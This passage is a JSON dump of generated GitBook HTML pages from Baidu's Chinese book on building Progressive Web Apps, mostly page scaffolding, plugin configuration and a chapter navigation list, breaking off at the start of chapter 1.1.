&#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"chapter09/4-preload-pwa.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 9.4 AMP/MIP 预加载 PWA\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"appendix01/1-lighthouse.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 1 使用 Lighthouse 测评 PWA\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"附录1 使用 Lighthouse 测评 PWA\",\"level\":\"1.11\",\"depth\":1,\"next\":{\"title\":\"1 使用 Lighthouse 测评 PWA\",\"level\":\"1.11.1\",\"depth\":2,\"path\":\"appendix01/1-lighthouse.md\",\"ref\":\"appendix01/1-lighthouse.md\",\"articles\":[]},\"previous\":{\"title\":\"9.4 AMP/MIP 预加载 PWA\",\"level\":\"1.10.4\",\"depth\":2,\"path\":\"chapter09/4-preload-pwa.md\",\"ref\":\"chapter09/4-preload-pwa.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"appendix01.md\",\"mtime\":\"2019-06-19T10:37:41.872Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\".\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"gitbook/gitbook.js\"></script>\n    <script src=\"gitbook/theme.js\"></script>\n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter01/1-how-was-pwa-born.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>1.1 为什么会出现 PWA · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"2-what-is-pwa.html\" />\n    \n    \n    <link rel=\"prev\" href=\"../chapter01.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter active\" data-level=\"1.2.1\" data-path=\"1-how-was-pwa-born.html\">\n            \n                <a href=\"1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"2-what-is-pwa.html\">\n            \n                <a href=\"2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"3-what-are-key-techs.html\">\n            \n                <a href=\"3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"4-how-is-pwa-going.html\">\n            \n                <a href=\"4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"5-the-future-of-pwa.html\">\n            \n                <a href=\"5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"6-your-first-pwa.html\">\n            \n                <a href=\"6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >1.1 为什么会出现 PWA</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x51FA;&#x73B0;-pwa\"><b></b>&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x51FA;&#x73B0; PWA</a></li></ul></div><a href=\"#&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x51FA;&#x73B0;-pwa\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x51FA;&#x73B0;-pwa\"><a name=\"&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x51FA;&#x73B0;-pwa\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x51FA;&#x73B0;-pwa\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x51FA;&#x73B0;-pwa\" class=\"plugin-anchor\" href=\"#&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x51FA;&#x73B0;-pwa\"><i class=\"fa fa-link\" 